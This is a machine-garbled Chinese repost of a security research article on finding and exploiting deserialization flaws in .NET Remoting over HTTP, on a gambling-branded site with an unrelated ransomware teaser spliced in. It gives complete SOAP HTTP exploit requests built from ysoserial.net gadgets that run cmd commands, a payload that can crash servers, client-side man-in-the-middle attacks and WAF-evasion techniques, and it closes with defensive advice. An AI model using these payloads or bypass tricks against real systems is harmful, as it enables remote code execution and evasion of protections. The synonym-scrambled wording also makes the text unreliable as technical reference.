怎样针对运用HTTP的.NET Remoting寻觅并应用反序列化破绽 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

怎样针对运用HTTP的.NET Remoting寻觅并应用反序列化破绽

申博_新闻事件 申博 137次浏览 已收录 0个评论

警惕!GandCrab5.2勒索病毒伪装国家机关发送钓鱼邮件进行攻击

一、事件概述 近日,深信服安全团队接到包括金融行业在内的多家企业反馈,其内部员工收到可疑邮件。邮件发件人显示为“National Tax Service”(译为“国家税务局”),邮箱地址为[email protected],意图伪装成美国政府专用的邮箱地址go

一、概述

在NCC Group近来一次的平安评价中,我发现了一个.NET v2.0运用程序,该运用程序运用.NET Remoting经由过程HTTP体式格局发送SOAP请求,以与其效劳器举行通讯。在对运用程序举行了反编译后,我意想到该效劳器已将TypeFilterLevel设置为Full,这非常风险,因为它能够会致使进击者运用反序列化进击完成长途代码实行。固然,现实的破绽运用其实不像我末了所想的那样直接了当。

因而,我举行了研讨,愿望经由过程我的研讨能够或许为渗入测试职员供应资助,以便未来能够或许越发轻易的在这一范畴举行测试。本篇文章主要申明了怎样运用ysoserial.net小工具在运用HTTP体式格局的.NET Remoting运用程序中寻觅存在破绽的运用程序,并举行破绽运用。

在我们的.NET状况中,包孕一台易受进击的客户端,而且其效劳器也是为实战练习训练的目的而建立的,能够在这里公然接见。

二、一样平常存在的停滞

运用.NET Remoting的运用程序能够挑选运用TCP、IPC和HTTP信道。James Forshaw编写了一个针对TCP和IPC信道举行测试和破绽运用的精彩工具。然则,我们没有找到任何运用SOAP音讯的HTTP信道。

当ysoserial.net的SOAP Payload在没有任何变动的状况下直接发送时,效劳器会显现一条毛病音讯。

为了向已知的.NET Remoting工具URI(以下称为“效劳称号”)建立有效的SOAP请求,我们须要晓得工具称号空间及其构造。这能够使我们的黑盒测试变得越发难题,因为纵然我们控制了效劳称号,一样平常状况下也没有这些信息。

我的目的运用的是.NET框架的2.0版本,但ysoserial.net项目运用的是4.x版本。在测试.NET Remoting的过程当中能够偶然没法运用该工具,但我们能够运用.NET v2.0的ysoserial.net,它能够派上用场。

若是没法接见源代码,我们很难晓得运用程序是不是已将TypeFilterLevel设置为Full。因而,我须要找到一种要领来平安地对它举行测试,愿望不会致使效劳器的瓦解。

三、运用反序列化破绽

若是运用程序已将TypeFilterLevel设置为Full,那末我们无需现实相识要发送到效劳器的工具和SOAPAction标头。独一须要晓得的信息,就是我们须要晓得在对TCP或IPC信道举行破绽运用过程当中所需的效劳称号。

其他须要的前提以下:

1. HTTP的范例应当是POST或M-POST;

2. Content-Type标头应当是text/xml;

3. SOAPAction标头不该该为空;

4. Content-Length标头应当显现准确的请求主体巨细。

若是设置了上述一切的标头,但效劳称号无效,那末效劳器将会作出以下相应:

System.Runtime.Remoting.RemotingException - Requested Service not found

若是没有设置上述标头,比方在发送GET请求时,效劳器会相应判然分歧的毛病音讯。下面展示了一样平常状况下发送GET请求时的毛病音讯:

System.ArgumentNullException: No message was deserialized prior to calling the DispatchChannelSink.

须要注重的是,当运用?wsdl、?sdl或?sdlx将GET请求发送到有效效劳称号时,偶然效劳能够会返回有效的数据。但是,在我们供应的GitHub示例中,却并非如此。

为了运用ysoserial.net天生SOAP Payload,我们能够运用任何支撑SoapFormatter的小工具。然则,必需运用以下技能之一,能力使Payload能够或许一般事情。

要领1:从Payload中删除<SOAP-ENV:Body>和</SOAP-ENV:Body>符号。

要领2:在<SOAP-ENV:Body>符号后马上增加以下符号之一:

<GetComIUnknown/>
<IsInstanceOfType/>
<InvokeMember/>
<GetLifetimeService/>
<InitializeLifetimeService/>
<__RaceSetServerIdentity/>
<CanCastToXmlType/>
<CreateObjRef/>
<Equals/>
<GetHashCode/>
<GetType/>
<ToString/>
<AnyOtherKnownMethodsOfTheTargetHere/>

当我们运用ysoserial.net的TextFormattingRunProperties小工具运转cmd /c calc敕令时,以下的HTTP请求中展示了一个胜利的示例。在这个示例中,效劳称号为VulnerableEndpoint.rem。

运用上面的第一种要领,HTTP请求以下:

POST /VulnerableEndpoint.rem HTTP/1.1
Content-Type: text/xml
SOAPAction: "x"
HOST: target
Content-Length: 1470
 
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3"><ResourceDictionary
 xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
 xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
 xmlns:System="clr-namespace:System;assembly=mscorlib"
 xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
 <ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" >
 <ObjectDataProvider.MethodParameters>
 <System:String>cmd</System:String>
 <System:String>/c "calc" </System:String>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
</ResourceDictionary></ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Envelope>

其事情道理以下图所示:

怎样针对运用HTTP的.NET Remoting寻觅并应用反序列化破绽

运用上面的第二种要领,HTTP请求以下:

POST /VulnerableEndpoint.rem HTTP/1.1
Content-Type: text/xml
SOAPAction: "x"
HOST: target
Content-Length: 1518
 
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ToString/>
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3"><ResourceDictionary
 xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
 xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
 xmlns:System="clr-namespace:System;assembly=mscorlib"
 xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
 <ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" >
 <ObjectDataProvider.MethodParameters>
 <System:String>cmd</System:String>
 <System:String>/c "calc" </System:String>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
</ResourceDictionary></ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

在运用上述两种要领的过程当中,纵然破绽胜利运用,效劳器运用程序依然会显现以下毛病音讯:

**** System.Runtime.Remoting.RemotingException - Server encountered an internal error.

(System.Runtime.Remoting.RemotingException – 效劳器碰到内部毛病)

当TypeFilterLevel设置为Low时,效劳器运用程序会相应以下毛病音讯:

**** System.Reflection.TargetInvocationException - Exception has been thrown by the target of an invocation. **** System.Security.SecurityException - Request failed.

(System.Reflection.TargetInvocationException – 挪用目的抛出了非常)

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

(System.Security.SecurityException – 请求失利)

此时,ysoserial.net天生的SOAP请求只能发作毛病,不会使效劳器的运用程序瓦解。我们能够运用上述毛病音讯,来辨认运用程序效劳器是不是易受进击。

为了扫清测试过程当中对.NET框架2.0版本运用程序举行破绽运用的末了一个停滞,我建立了一个新的ysoserial.net v2.0项目,能够在这里找到。然则,该项目仅支撑有限数目的小工具,而且还请求目的装置.NET框架的3.5版本。只管这其实不抱负,但在测试过程当中,能够在我的目的上胜利完成破绽运用,而且该目的主机也装置了较新版本的.NET框架。仅仅依赖于.NET框架2.0版本的破绽运用,还须要运用其他新的小工具。

四、提防能够涌现的拒绝效劳题目

纵然TypeFilterLevel被设置为Low,也能够会使效劳器运用程序发作瓦解。在运用DataSet类(参考)举行测试的时期,就发作了这类状况,个中我们运用了由ysoserial.net的TypeConfuseDelegate小工具天生的Payload,以下所示:

POST /VulnerableEndpoint.rem HTTP/1.1
Content-Type: text/xml
SOAPAction: "x"
Host: target
Content-Length: [valid length]
 
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">
<DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat>
<DataSet.DataSetName id="ref-3"></DataSet.DataSetName>
<DataSet.Namespace href="#ref-3"/>
<DataSet.Prefix href="#ref-3"/>
<DataSet.CaseSensitive>false</DataSet.CaseSensitive>
<DataSet.LocaleLCID>1033</DataSet.LocaleLCID>
<DataSet.EnforceConstraints>false</DataSet.EnforceConstraints>
<DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/>
<DataSet.Tables.Count>1</DataSet.Tables.Count>
<DataSet.Tables_0 href="#ref-4"/>
</a1:DataSet>
<SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">[base64 formatted using: ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c calc -o base64]</SOAP-ENC:Array>
</SOAP-ENV:Envelope>

因而,上述要领其实不平安,我们没法放心肠将其用于肯定运用程序是不是易受进击。须要注重的是,我们没有针对运用IIS托管运用程序的状况举行测试。

五、对客户端举行进击

当客户端和效劳器之间的流量没有举行加密时,能够经由过程中间人进击的体式格局来支配效劳器的相应。这能够会致使客户端上的长途代码实行,与针对效劳器运用程序举行破绽运用相似。另外,若是进击者能够变动客户端运用程序的设置装备摆设,那末就能够或许衔接到能够或许运用歹意音讯举行相应的歹意效劳器上,从而在受害者的盘算机上运转敕令。

在这里,也能够运用上文所述的针对效劳器运用程序运用的第一种破绽运用要领。我们在删除<SOAP-ENV:Body>和</SOAP-ENV:Body>符号后,能够运用ysoserial.net天生SOAP Payload。

为了使这一进击要领能按计划实行,我们应当更新相应中的Content-Length标头,以婚配相应主体的巨细。或许,也能够完整删除此标头。

请注重,除非毛病地处理了这一毛病,不然这类测试体式格局能够会使客户端运用程序发作瓦解。

六、WAF绕过手艺

除运用分歧的Payload以外,.NET Remoting中的HTTP请求还具有很多可用于绕过Web运用程序防火墙的奇特作用。

6.1 HTML编码、CDATA和空格

因为请求是XML花样,因而我们能够运用HTML编码来制止某些寻觅AAEAAAD等内容的WAF装备。比方,这一形式能够替代为AAEAAAD来发送。

CDATA款式(<![CDATA[ string here ]]>)仅在包罗全部Payload的状况下能力一般运用。若是]]>的背面有任何字符串,那末效劳器将抛弃末了一个]]>之前的任何字符串。

效劳器会疏忽运用Base64编码后的字符串中的空格字符。这一样也能够用于绕过基于署名的WAF划定规矩。

6.2 运用__RequestVerb和__requestUri

只要将__RequestVerb标头设置为POST,就能够或许将HTTP的范例变动为恣意范例,比方GET。

效劳称号一样能够从URL中删除,而且能够在__requestUri标头中发送。

6.3 花样毛病的HTTP标头

因为运用.NET Remoting的效劳器运用程序会自行处理传入的SOAP HTTP请求,因而它们其实不遵照HTTP规范。因而,能够变动或删除一些主要的标头,比方HOST,或许运用空格字符来替代HTTP版本和范例。下面的示例中,展示了在反序列化进击时期,能够运用的有效的HTTP请求标头:

This is the first line of the HTTP request!
Content-Type: text/xml
__requestUri: VulnerableEndpoint.rem
__RequestVerb: POST
SOAPAction: catch me if you can
Content-Length: 3865

除此以外,它还支撑HTTP-Pipelining,能够滥用这类要领来发送更多隐约的请求。

值得一提的是,偶然WAF会在标头中查找某些特别值,比方User-Agent和HOST标头,并许可花样准确的请求经由过程。因而,发送花样毛病的HTTP请求能够并非总会有效。除此以外,当经由过程另一个署理或Web效劳器(比方:IIS)时,该请求能够会失利。

6.4 字符集和编码殽杂

.NET Remoting HTTP效劳器会疏忽Content-Type标头的charset属性。另一方面,正文中的XML音讯能够运用相似于ibm500或utf-32的编码体式格局来对Payload举行编码。HTTP Smuggler Burp扩大(https://github.com/nccgroup/BurpSuiteHTTPSmuggler)能够用于编码XML请求。然则,依然须要在编码的Payload前面增加具有恰当编码的XML Prolog,而不克不及运用任何CR-LF字符。下面的示例展示了运用ibm500编码的XML Prolog:

<?xml version = '1.0' encoding = 'ibm500'?>

下图展示了能够致使代码实行的终究有效HTTP请求:

怎样针对运用HTTP的.NET Remoting寻觅并应用反序列化破绽

七、发起

依据微软官方供应的发起,开发职员能够从传统的.NET Remoting转移到运用Windows Communication Foundation(WCF)。正如这篇文章所提到的,将WCF与DataContractSerializer一同运用,能够进步运用程序的平安性,并提防反序列化进击。

微软还发起用户,一直对终端举行身份验证,并加密通讯流,其具体要领是在IIS中托管长途范例,或许经由过程构建自定义信道接收器来完成此项事情。须要注重的是,纵然衔接已完整经由过程身份验证和加密,受信托的效劳器依然能够在客户端运用程序上实行代码。

将TypeFilterLevel设置为Low也有助于下降风险,但它不克不及消弭依然能够运用风险的白名单要领带来的进击风险。在这项研讨中,我没法肯定在客户端运用程序大将TypeFilterLevel设置为Low以提防破绽运用的准确要领。一旦我找到解决方案,我将马上更新供应的示例源代码,并在解释中供应一个平安的示例。

若是能够,我们发起将.NET Remoting终端设置为可托的IP地点。

警惕!GandCrab5.2勒索病毒伪装国家机关发送钓鱼邮件进行攻击

一、事件概述 近日,深信服安全团队接到包括金融行业在内的多家企业反馈,其内部员工收到可疑邮件。邮件发件人显示为“National Tax Service”(译为“国家税务局”),邮箱地址为[email protected],意图伪装成美国政府专用的邮箱地址go


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明怎样针对运用HTTP的.NET Remoting寻觅并应用反序列化破绽
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址